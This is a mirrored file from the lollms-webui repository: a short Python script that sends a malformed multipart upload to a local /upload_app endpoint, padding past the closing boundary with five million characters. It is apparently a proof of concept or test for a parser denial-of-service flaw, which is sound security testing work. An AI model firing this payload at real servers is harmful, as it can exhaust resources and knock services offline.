mirror of
https://github.com/ParisNeo/lollms-webui.git
synced 2024-12-21 13:17:47 +00:00
21 lines
692 B
Python
21 lines
692 B
Python
import requests
|
|
|
|
num = 5000000
|
|
url = "http://localhost:9600/upload_app"
|
|
headers = {
|
|
"Content-Type": "multipart/form-data; boundary=---------------------------284178091740602105783377960069"
|
|
}
|
|
|
|
# The exact raw payload as specified
|
|
data = (
|
|
"-----------------------------284178091740602105783377960069\r\n"
|
|
"Content-Disposition: form-data; name=\"uploadFile\"; filename=\"test.txt\"\r\n"
|
|
"Content-Type: text/plain\r\n\r\n"
|
|
"Hello I am test\r\n"
|
|
"-----------------------------284178091740602105783377960069--" + '4' * num + "\r\n"
|
|
)
|
|
|
|
response = requests.post(url, headers=headers, data=data.encode('utf-8'), verify=False)
|
|
|
|
print(response.status_code)
|
|
print(response.text) |